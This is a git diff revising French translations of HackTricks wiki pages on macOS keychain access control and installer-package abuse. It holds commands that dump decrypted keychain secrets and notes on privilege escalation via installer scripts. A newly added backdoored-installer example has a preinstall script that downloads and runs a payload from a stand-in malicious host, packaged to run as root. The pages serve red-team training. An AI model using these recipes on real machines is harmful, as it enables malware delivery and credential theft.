* **ACLAuhtorizationAny** : Permet au titulaire d'effectuer n'importe quelle action.
|
||||
|
||||
Les ACL sont également accompagnées d'une **liste d'applications de confiance** pouvant effectuer ces actions sans invitation. Cela pourrait être :
|
||||
Les ACLs sont également accompagnées d'une **liste d'applications de confiance** qui peuvent effectuer ces actions sans demande. Cela pourrait être :
|
||||
|
||||
* **N`il`** (aucune autorisation requise, **tout le monde est de confiance**)
|
||||
* Une liste **vide** (personne n'est de confiance)
|
||||
* **Liste** d'applications **spécifiques**.
|
||||
* Une liste **vide** (**personne** n'est de confiance)
|
||||
* **Liste** d'**applications** spécifiques.
|
||||
|
||||
De plus, l'entrée peut contenir la clé **`ACLAuthorizationPartitionID`,** qui est utilisée pour identifier le **teamid, apple,** et **cdhash.**
|
||||
|
||||
* Si le **teamid** est spécifié, alors pour **accéder à la valeur de l'entrée** sans **invitation**, l'application utilisée doit avoir le **même teamid**.
|
||||
* Si l'**apple** est spécifié, alors l'application doit être **signée** par **Apple**.
|
||||
* Si le **teamid** est spécifié, alors pour **accéder à la valeur de l'entrée** **sans** une **demande**, l'application utilisée doit avoir le **même teamid**.
|
||||
* Si le **apple** est spécifié, alors l'application doit être **signée** par **Apple**.
|
||||
* Si le **cdhash** est indiqué, alors l'**application** doit avoir le **cdhash** spécifique.
|
||||
|
||||
### Création d'une entrée de trousseau
|
||||
### Creating a Keychain Entry
|
||||
|
||||
Lorsqu'une **nouvelle** **entrée** est créée en utilisant **`Keychain Access.app`**, les règles suivantes s'appliquent :
|
||||
Lorsque une **nouvelle** **entrée** est créée en utilisant **`Keychain Access.app`**, les règles suivantes s'appliquent :
|
||||
|
||||
* Toutes les applications peuvent chiffrer.
|
||||
* Aucune application ne peut exporter/déchiffrer (sans inviter l'utilisateur).
|
||||
* **Aucune application** ne peut exporter/déchiffrer (sans demander à l'utilisateur).
|
||||
* Toutes les applications peuvent voir le contrôle d'intégrité.
|
||||
* Aucune application ne peut modifier les ACL.
|
||||
* L'**ID de partition** est défini sur **`apple`**.
|
||||
* Aucune application ne peut changer les ACLs.
|
||||
* Le **partitionID** est défini sur **`apple`**.
|
||||
|
||||
Lorsqu'une **application crée une entrée dans le trousseau**, les règles sont légèrement différentes :
|
||||
Lorsque une **application crée une entrée dans le trousseau**, les règles sont légèrement différentes :
|
||||
|
||||
* Toutes les applications peuvent chiffrer.
|
||||
* Seule l'**application créatrice** (ou toute autre application ajoutée explicitement) peut exporter/déchiffrer (sans inviter l'utilisateur).
|
||||
* Seule l'**application créatrice** (ou toute autre application explicitement ajoutée) peut exporter/déchiffrer (sans demander à l'utilisateur).
|
||||
* Toutes les applications peuvent voir le contrôle d'intégrité.
|
||||
* Aucune application ne peut modifier les ACL.
|
||||
* L'**ID de partition** est défini sur **`teamid:[teamID ici]`**.
|
||||
* Aucune application ne peut changer les ACLs.
|
||||
* Le **partitionID** est défini sur **`teamid:[teamID ici]`**.
|
||||
|
||||
## Accès au trousseau
|
||||
## Accessing the Keychain
|
||||
|
||||
### `security`
|
||||
```bash
|
||||
# List keychains
|
||||
security list-keychains
|
||||
|
||||
# Dump all metadata and decrypted secrets (a lot of pop-ups)
|
||||
security dump-keychain -a -d
|
||||
|
||||
|
@ -90,56 +93,59 @@ security find-generic-password -a "Slack" -g
|
|||
|
||||
# Change the specified entrys PartitionID entry
|
||||
security set-generic-password-parition-list -s "test service" -a "test acount" -S
|
||||
|
||||
# Dump specifically the user keychain
|
||||
security dump-keychain ~/Library/Keychains/login.keychain-db
|
||||
```
|
||||
### APIs
|
||||
|
||||
{% hint style="success" %}
|
||||
La **numérotation et l'extraction** des secrets du trousseau qui **ne généreront pas de fenêtre contextuelle** peuvent être effectuées avec l'outil [**LockSmith**](https://github.com/its-a-feature/LockSmith)
|
||||
L'**énumération et l'extraction** de secrets qui **ne généreront pas d'invite** peuvent être effectuées avec l'outil [**LockSmith**](https://github.com/its-a-feature/LockSmith)
|
||||
{% endhint %}
|
||||
|
||||
Listez et obtenez des **informations** sur chaque entrée du trousseau :
|
||||
Liste et obtention d'**informations** sur chaque entrée de trousseau :
|
||||
|
||||
* L'API **`SecItemCopyMatching`** donne des informations sur chaque entrée et il existe quelques attributs que vous pouvez définir lors de son utilisation :
|
||||
* **`kSecReturnData`** : Si vrai, il tentera de décrypter les données (définissez-le sur faux pour éviter les fenêtres contextuelles potentielles)
|
||||
* **`kSecReturnRef`** : Obtenez également la référence de l'élément du trousseau (définissez-le sur vrai au cas où vous verriez que vous pouvez décrypter sans fenêtre contextuelle)
|
||||
* **`kSecReturnAttributes`** : Obtenez des métadonnées sur les entrées
|
||||
* **`kSecMatchLimit`** : Combien de résultats renvoyer
|
||||
* L'API **`SecItemCopyMatching`** fournit des informations sur chaque entrée et il y a certains attributs que vous pouvez définir lors de son utilisation :
|
||||
* **`kSecReturnData`** : Si vrai, il essaiera de déchiffrer les données (définir sur faux pour éviter les pop-ups potentiels)
|
||||
* **`kSecReturnRef`** : Obtenir également une référence à l'élément de trousseau (définir sur vrai si vous voyez plus tard que vous pouvez déchiffrer sans pop-up)
|
||||
* **`kSecReturnAttributes`** : Obtenir des métadonnées sur les entrées
|
||||
* **`kSecMatchLimit`** : Combien de résultats retourner
|
||||
* **`kSecClass`** : Quel type d'entrée de trousseau
|
||||
|
||||
Obtenez les **ACL** de chaque entrée :
|
||||
Obtenir les **ACL** de chaque entrée :
|
||||
|
||||
* Avec l'API **`SecAccessCopyACLList`** vous pouvez obtenir l'**ACL de l'élément du trousseau**, et il renverra une liste d'ACL (comme `ACLAuhtorizationExportClear` et les autres mentionnés précédemment) où chaque liste a :
|
||||
* Avec l'API **`SecAccessCopyACLList`**, vous pouvez obtenir l'**ACL pour l'élément de trousseau**, et cela renverra une liste d'ACL (comme `ACLAuhtorizationExportClear` et les autres mentionnés précédemment) où chaque liste a :
|
||||
* Description
|
||||
* Liste d'applications de confiance. Cela pourrait être :
|
||||
* **Liste des applications de confiance**. Cela pourrait être :
|
||||
* Une application : /Applications/Slack.app
|
||||
* Un binaire : /usr/libexec/airportd
|
||||
* Un groupe : group://AirPort
|
||||
|
||||
Exportez les données :
|
||||
Exporter les données :
|
||||
|
||||
* L'API **`SecKeychainItemCopyContent`** obtient le texte en clair
|
||||
* L'API **`SecItemExport`** exporte les clés et certificats mais il peut être nécessaire de définir des mots de passe pour exporter le contenu chiffré
|
||||
* L'API **`SecItemExport`** exporte les clés et certificats mais peut nécessiter de définir des mots de passe pour exporter le contenu chiffré
|
||||
|
||||
Et voici les **exigences** pour pouvoir **exporter un secret sans fenêtre contextuelle** :
|
||||
Et voici les **exigences** pour pouvoir **exporter un secret sans invite** :
|
||||
|
||||
* Si **1+ applications de confiance** répertoriées :
|
||||
* Besoin des **autorisations appropriées** (**`Nil`**, ou faire **partie** de la liste autorisée d'applications dans l'autorisation pour accéder aux informations secrètes)
|
||||
* Si **1+ applications de confiance** listées :
|
||||
* Besoin des **autorisations** appropriées (**`Nil`**, ou faire **partie** de la liste autorisée d'applications dans l'autorisation d'accès aux informations secrètes)
|
||||
* Besoin que la signature de code corresponde à **PartitionID**
|
||||
* Besoin que la signature de code corresponde à celle d'une **application de confiance** (ou être membre du bon KeychainAccessGroup)
|
||||
* Besoin que la signature de code corresponde à celle d'une **application de confiance** (ou faire partie du bon KeychainAccessGroup)
|
||||
* Si **toutes les applications sont de confiance** :
|
||||
* Besoin des **autorisations appropriées**
|
||||
* Besoin des **autorisations** appropriées
|
||||
* Besoin que la signature de code corresponde à **PartitionID**
|
||||
* Si **aucun PartitionID**, alors cela n'est pas nécessaire
|
||||
* Si **pas de PartitionID**, alors cela n'est pas nécessaire
|
||||
|
||||
{% hint style="danger" %}
|
||||
Par conséquent, s'il y a **1 application répertoriée**, vous devez **injecter du code dans cette application**.
|
||||
Par conséquent, s'il y a **1 application listée**, vous devez **injecter du code dans cette application**.
|
||||
|
||||
Si **apple** est indiqué dans le **partitionID**, vous pourriez y accéder avec **`osascript`** pour tout ce qui fait confiance à toutes les applications avec apple dans le partitionID. **`Python`** pourrait également être utilisé pour cela.
|
||||
Si **apple** est indiqué dans le **partitionID**, vous pourriez y accéder avec **`osascript`** donc tout ce qui fait confiance à toutes les applications avec apple dans le partitionID. **`Python`** pourrait également être utilisé pour cela.
|
||||
{% endhint %}
|
||||
|
||||
### Deux attributs supplémentaires
|
||||
|
||||
* **Invisible** : C'est un indicateur booléen pour **masquer** l'entrée de l'application **UI** Keychain
|
||||
* **Invisible** : C'est un drapeau booléen pour **cacher** l'entrée de l'application **UI** Keychain
|
||||
* **Général** : C'est pour stocker des **métadonnées** (donc ce n'est PAS CHIFFRÉ)
|
||||
* Microsoft stockait en texte clair tous les jetons de rafraîchissement pour accéder à des points de terminaison sensibles.
|
||||
|
||||
|
@ -151,25 +157,25 @@ Si **apple** est indiqué dans le **partitionID**, vous pourriez y accéder avec
|
|||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) est un moteur de recherche alimenté par le **dark web** qui offre des fonctionnalités **gratuites** pour vérifier si une entreprise ou ses clients ont été **compromis** par des **logiciels malveillants voleurs**.
|
||||
[**WhiteIntel**](https://whiteintel.io) est un moteur de recherche alimenté par le **dark-web** qui offre des fonctionnalités **gratuites** pour vérifier si une entreprise ou ses clients ont été **compromis** par des **malwares voleurs**.
|
||||
|
||||
Le but principal de WhiteIntel est de lutter contre les prises de contrôle de compte et les attaques de ransomware résultant de logiciels malveillants voleurs d'informations.
|
||||
Leur objectif principal avec WhiteIntel est de lutter contre les détournements de compte et les attaques par ransomware résultant de malwares de vol d'informations.
|
||||
|
||||
Vous pouvez consulter leur site Web et essayer leur moteur **gratuitement** à :
|
||||
Vous pouvez consulter leur site web et essayer leur moteur **gratuitement** à :
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Apprenez et pratiquez le piratage AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Formation HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez et pratiquez le piratage GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Formation HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Apprenez et pratiquez le Hacking AWS :<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez et pratiquez le Hacking GCP : <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Soutenez HackTricks</summary>
|
||||
<summary>Soutenir HackTricks</summary>
|
||||
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop)!
|
||||
* **Rejoignez** 💬 le [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,37 +1,37 @@
|
|||
# Mauvais usage des installateurs macOS
|
||||
# Abus des Installateurs macOS
|
||||
|
||||
{% hint style="success" %}
|
||||
Apprenez et pratiquez le piratage AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Formation HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez et pratiquez le piratage GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Formation HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Apprenez et pratiquez le hacking AWS :<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**Formation HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez et pratiquez le hacking GCP : <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**Formation HackTricks GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Soutenez HackTricks</summary>
|
||||
<summary>Soutenir HackTricks</summary>
|
||||
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop)!
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Informations de base sur les fichiers Pkg
|
||||
## Informations de Base sur le Pkg
|
||||
|
||||
Un **package d'installation macOS** (également connu sous le nom de fichier `.pkg`) est un format de fichier utilisé par macOS pour **distribuer des logiciels**. Ces fichiers sont comme une **boîte qui contient tout ce dont un logiciel** a besoin pour s'installer et fonctionner correctement.
|
||||
Un **package d'installateur macOS** (également connu sous le nom de fichier `.pkg`) est un format de fichier utilisé par macOS pour **distribuer des logiciels**. Ces fichiers sont comme une **boîte qui contient tout ce dont un logiciel** a besoin pour s'installer et fonctionner correctement.
|
||||
|
||||
Le fichier du package est en fait une archive qui contient une **hiérarchie de fichiers et de répertoires qui seront installés sur la cible**. Il peut également inclure des **scripts** pour effectuer des tâches avant et après l'installation, comme la configuration des fichiers de configuration ou le nettoyage des anciennes versions du logiciel.
|
||||
Le fichier de package lui-même est une archive qui contient une **hiérarchie de fichiers et de répertoires qui seront installés sur l'ordinateur cible**. Il peut également inclure des **scripts** pour effectuer des tâches avant et après l'installation, comme la configuration de fichiers ou le nettoyage des anciennes versions du logiciel.
|
||||
|
||||
### Hiérarchie
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/Pasted Graphic.png" alt="https://www.youtube.com/watch?v=iASSG0_zobQ"><figcaption></figcaption></figure>
|
||||
|
||||
* **Distribution (xml)** : Personnalisations (titre, texte de bienvenue...) et vérifications de script/installation
|
||||
* **PackageInfo (xml)** : Informations, exigences d'installation, emplacement d'installation, chemins vers les scripts à exécuter
|
||||
* **Liste des éléments (bom)** : Liste des fichiers à installer, mettre à jour ou supprimer avec les autorisations de fichier
|
||||
* **Charge utile (archive CPIO compressée gzip)** : Fichiers à installer dans l'emplacement d'installation à partir de PackageInfo
|
||||
* **Scripts (archive CPIO compressée gzip)** : Scripts de pré et post-installation et autres ressources extraites vers un répertoire temporaire pour l'exécution.
|
||||
* **Distribution (xml)** : Personnalisations (titre, texte de bienvenue…) et vérifications de script/d'installation
|
||||
* **PackageInfo (xml)** : Infos, exigences d'installation, emplacement d'installation, chemins vers les scripts à exécuter
|
||||
* **Bill of materials (bom)** : Liste des fichiers à installer, mettre à jour ou supprimer avec les permissions de fichiers
|
||||
* **Payload (archive CPIO compressée gzip)** : Fichiers à installer dans l'`install-location` depuis PackageInfo
|
||||
* **Scripts (archive CPIO compressée gzip)** : Scripts pré et post installation et autres ressources extraites dans un répertoire temporaire pour exécution.
|
||||
|
||||
### Décompression
|
||||
### Décompresser
|
||||
```bash
|
||||
# Tool to directly get the files inside a package
|
||||
pkgutil —expand "/path/to/package.pkg" "/path/to/out/dir"
|
||||
|
@ -47,62 +47,141 @@ cpio -i < Scripts
|
|||
```
|
||||
Pour visualiser le contenu de l'installateur sans le décompresser manuellement, vous pouvez également utiliser l'outil gratuit [**Suspicious Package**](https://mothersruin.com/software/SuspiciousPackage/).
|
||||
|
||||
## Informations de base sur les fichiers DMG
|
||||
## Informations de base sur DMG
|
||||
|
||||
Les fichiers DMG, ou images disque Apple, sont un format de fichier utilisé par macOS d'Apple pour les images disque. Un fichier DMG est essentiellement une **image disque montable** (il contient son propre système de fichiers) qui contient des données de bloc brut généralement compressées et parfois chiffrées. Lorsque vous ouvrez un fichier DMG, macOS le **monte comme s'il s'agissait d'un disque physique**, vous permettant d'accéder à son contenu.
|
||||
Les fichiers DMG, ou images disque Apple, sont un format de fichier utilisé par macOS d'Apple pour les images disque. Un fichier DMG est essentiellement une **image disque montable** (il contient son propre système de fichiers) qui contient des données brutes généralement compressées et parfois chiffrées. Lorsque vous ouvrez un fichier DMG, macOS **le monte comme s'il s'agissait d'un disque physique**, vous permettant d'accéder à son contenu.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Notez que les installateurs en **`.dmg`** prennent en charge **tant de formats** que par le passé, certains d'entre eux contenant des vulnérabilités ont été abusés pour obtenir une **exécution de code kernel**.
|
||||
Notez que les installateurs **`.dmg`** prennent en charge **tellement de formats** que par le passé, certains d'entre eux contenant des vulnérabilités ont été abusés pour obtenir **l'exécution de code du noyau**.
|
||||
{% endhint %}
|
||||
|
||||
### Hiérarchie
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (225).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
La hiérarchie d'un fichier DMG peut être différente en fonction du contenu. Cependant, pour les DMG d'applications, elle suit généralement cette structure :
|
||||
La hiérarchie d'un fichier DMG peut être différente en fonction du contenu. Cependant, pour les DMG d'application, elle suit généralement cette structure :
|
||||
|
||||
* Niveau supérieur : C'est la racine de l'image disque. Il contient souvent l'application et éventuellement un lien vers le dossier Applications.
|
||||
* Application (.app) : Il s'agit de l'application réelle. Dans macOS, une application est généralement un package qui contient de nombreux fichiers et dossiers individuels constituant l'application.
|
||||
* Lien vers Applications : Il s'agit d'un raccourci vers le dossier Applications dans macOS. Le but est de faciliter l'installation de l'application. Vous pouvez faire glisser le fichier .app vers ce raccourci pour installer l'application.
|
||||
* Niveau supérieur : C'est la racine de l'image disque. Elle contient souvent l'application et éventuellement un lien vers le dossier Applications.
|
||||
* Application (.app) : C'est l'application réelle. Dans macOS, une application est généralement un paquet qui contient de nombreux fichiers et dossiers individuels qui composent l'application.
|
||||
* Lien Applications : C'est un raccourci vers le dossier Applications dans macOS. Le but de cela est de vous faciliter l'installation de l'application. Vous pouvez faire glisser le fichier .app vers ce raccourci pour installer l'application.
|
||||
|
||||
## Élévation de privilèges via l'abus de pkg
|
||||
## Privesc via abus de pkg
|
||||
|
||||
### Exécution à partir de répertoires publics
|
||||
### Exécution depuis des répertoires publics
|
||||
|
||||
Si un script d'installation préalable ou postérieur exécute par exemple à partir de **`/var/tmp/Installerutil`**, et qu'un attaquant peut contrôler ce script, il peut alors élever les privilèges chaque fois qu'il est exécuté. Ou un autre exemple similaire :
|
||||
Si un script d'installation pré ou post est par exemple exécuté depuis **`/var/tmp/Installerutil`**, un attaquant pourrait contrôler ce script pour qu'il élève les privilèges chaque fois qu'il est exécuté. Ou un autre exemple similaire :
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/Pasted Graphic 5.png" alt="https://www.youtube.com/watch?v=iASSG0_zobQ"><figcaption><p><a href="https://www.youtube.com/watch?v=kCXhIYtODBg">https://www.youtube.com/watch?v=kCXhIYtODBg</a></p></figcaption></figure>
|
||||
|
||||
### AuthorizationExecuteWithPrivileges
|
||||
|
||||
Il s'agit d'une [fonction publique](https://developer.apple.com/documentation/security/1540038-authorizationexecutewithprivileg) que plusieurs installateurs et mises à jour appelleront pour **exécuter quelque chose en tant que root**. Cette fonction accepte le **chemin** du **fichier** à **exécuter** en tant que paramètre, cependant, si un attaquant peut **modifier** ce fichier, il pourra alors **abuser** de son exécution avec les privilèges root pour **élever les privilèges**.
|
||||
C'est une [fonction publique](https://developer.apple.com/documentation/security/1540038-authorizationexecutewithprivileg) que plusieurs installateurs et mises à jour appelleront pour **exécuter quelque chose en tant que root**. Cette fonction accepte le **chemin** du **fichier** à **exécuter** comme paramètre, cependant, si un attaquant pouvait **modifier** ce fichier, il serait en mesure de **profiter** de son exécution avec root pour **élever les privilèges**.
|
||||
```bash
|
||||
# Breakpoint in the function to check wich file is loaded
|
||||
(lldb) b AuthorizationExecuteWithPrivileges
|
||||
# You could also check FS events to find this missconfig
|
||||
```
|
||||
Pour plus d'informations, consultez cette présentation : [https://www.youtube.com/watch?v=lTOItyjTTkw](https://www.youtube.com/watch?v=lTOItyjTTkw)
|
||||
Pour plus d'informations, consultez cette conférence : [https://www.youtube.com/watch?v=lTOItyjTTkw](https://www.youtube.com/watch?v=lTOItyjTTkw)
|
||||
|
||||
### Exécution par montage
|
||||
|
||||
Si un programme d'installation écrit dans `/tmp/fixedname/bla/bla`, il est possible de **créer un montage** sur `/tmp/fixedname` sans propriétaires afin de **modifier n'importe quel fichier pendant l'installation** pour abuser du processus d'installation.
|
||||
Si un installateur écrit dans `/tmp/fixedname/bla/bla`, il est possible de **créer un montage** sur `/tmp/fixedname` sans propriétaires afin que vous puissiez **modifier n'importe quel fichier pendant l'installation** pour abuser du processus d'installation.
|
||||
|
||||
Un exemple de ceci est **CVE-2021-26089** qui a réussi à **écraser un script périodique** pour obtenir une exécution en tant que root. Pour plus d'informations, consultez la présentation : [**OBTS v4.0: "Mont(agne) de Bugs" - Csaba Fitzl**](https://www.youtube.com/watch?v=jSYPazD4VcE)
|
||||
Un exemple de cela est **CVE-2021-26089** qui a réussi à **écraser un script périodique** pour obtenir une exécution en tant que root. Pour plus d'informations, jetez un œil à la conférence : [**OBTS v4.0 : "Mount(ain) of Bugs" - Csaba Fitzl**](https://www.youtube.com/watch?v=jSYPazD4VcE)
|
||||
|
||||
## pkg en tant que logiciel malveillant
|
||||
## pkg en tant que malware
|
||||
|
||||
### Charge utile vide
|
||||
|
||||
Il est possible de simplement générer un fichier **`.pkg`** avec des **scripts de pré et post-installation** sans aucune charge utile.
|
||||
Il est possible de générer simplement un **`.pkg`** avec des **scripts pré et post-installation** sans aucune véritable charge utile à part le malware à l'intérieur des scripts.
|
||||
|
||||
### JS dans le fichier xml de distribution
|
||||
### JS dans le xml de distribution
|
||||
|
||||
Il est possible d'ajouter des balises **`<script>`** dans le fichier xml de **distribution** du package et ce code sera exécuté et il peut **exécuter des commandes** en utilisant **`system.run`**:
|
||||
Il est possible d'ajouter des **`<script>`** dans le fichier **xml de distribution** du paquet et ce code sera exécuté et pourra **exécuter des commandes** en utilisant **`system.run`** :
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1043).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Installateur avec porte dérobée
|
||||
|
||||
Installateur malveillant utilisant un script et du code JS à l'intérieur de dist.xml
|
||||
```bash
|
||||
# Package structure
|
||||
mkdir -p pkgroot/root/Applications/MyApp
|
||||
mkdir -p pkgroot/scripts
|
||||
|
||||
# Create preinstall scripts
|
||||
cat > pkgroot/scripts/preinstall <<EOF
|
||||
#!/bin/bash
|
||||
echo "Running preinstall script"
|
||||
curl -o /tmp/payload.sh http://malicious.site/payload.sh
|
||||
chmod +x /tmp/payload.sh
|
||||
/tmp/payload.sh
|
||||
exit 0
|
||||
EOF
|
||||
|
||||
# Build package
|
||||
pkgbuild --root pkgroot/root --scripts pkgroot/scripts --identifier com.malicious.myapp --version 1.0 myapp.pkg
|
||||
|
||||
# Generate the malicious dist.xml
|
||||
cat > ./dist.xml <<EOF
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<installer-gui-script minSpecVersion="1">
|
||||
<title>Malicious Installer</title>
|
||||
<options customize="allow" require-scripts="false"/>
|
||||
<script>
|
||||
<![CDATA[
|
||||
function installationCheck() {
|
||||
if (system.isSandboxed()) {
|
||||
my.result.title = "Cannot install in a sandbox.";
|
||||
my.result.message = "Please run this installer outside of a sandbox.";
|
||||
return false;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
function volumeCheck() {
|
||||
return true;
|
||||
}
|
||||
function preflight() {
|
||||
system.run("/path/to/preinstall");
|
||||
}
|
||||
function postflight() {
|
||||
system.run("/path/to/postinstall");
|
||||
}
|
||||
]]>
|
||||
</script>
|
||||
<choices-outline>
|
||||
<line choice="default">
|
||||
<line choice="myapp"/>
|
||||
</line>
|
||||
</choices-outline>
|
||||
<choice id="myapp" title="MyApp">
|
||||
<pkg-ref id="com.malicious.myapp"/>
|
||||
</choice>
|
||||
<pkg-ref id="com.malicious.myapp" installKBytes="0" auth="root">#myapp.pkg</pkg-ref>
|
||||
</installer-gui-script>
|
||||
EOF
|
||||
|
||||
# Buil final
|
||||
productbuild --distribution dist.xml --package-path myapp.pkg final-installer.pkg
|
||||
```
|
||||
## Références
|
||||
|
||||
* [**DEF CON 27 - Déballage des Pkgs Un regard à l'intérieur des packages d'installation de MacOS et des failles de sécurité courantes**](https://www.youtube.com/watch?v=iASSG0\_zobQ)
|
||||
* [**OBTS v4.0: "Le monde sauvage des installateurs macOS" - Tony Lambert**](https://www.youtube.com/watch?v=Eow5uNHtmIg)
|
||||
* [**DEF CON 27 - Déballage des Pkgs Un regard à l'intérieur des packages d'installation de MacOS**](https://www.youtube.com/watch?v=kCXhIYtODBg)
|
||||
* [**DEF CON 27 - Déballage de Pkgs Un Regard à l'Intérieur des Paquets d'Installateur Macos et des Failles de Sécurité Courantes**](https://www.youtube.com/watch?v=iASSG0\_zobQ)
|
||||
* [**OBTS v4.0 : "Le Monde Sauvage des Installateurs macOS" - Tony Lambert**](https://www.youtube.com/watch?v=Eow5uNHtmIg)
|
||||
* [**DEF CON 27 - Déballage de Pkgs Un Regard à l'Intérieur des Paquets d'Installateur MacOS**](https://www.youtube.com/watch?v=kCXhIYtODBg)
|
||||
* [https://redteamrecipe.com/macos-red-teaming?utm\_source=pocket\_shared#heading-exploiting-installer-packages](https://redteamrecipe.com/macos-red-teaming?utm\_source=pocket\_shared#heading-exploiting-installer-packages)
|
||||
|
||||
{% hint style="success" %}
|
||||
Apprenez et pratiquez le Hacking AWS :<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez et pratiquez le Hacking GCP : <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team GCP (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Soutenir HackTricks</summary>
|
||||
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
Loading…
Reference in a new issue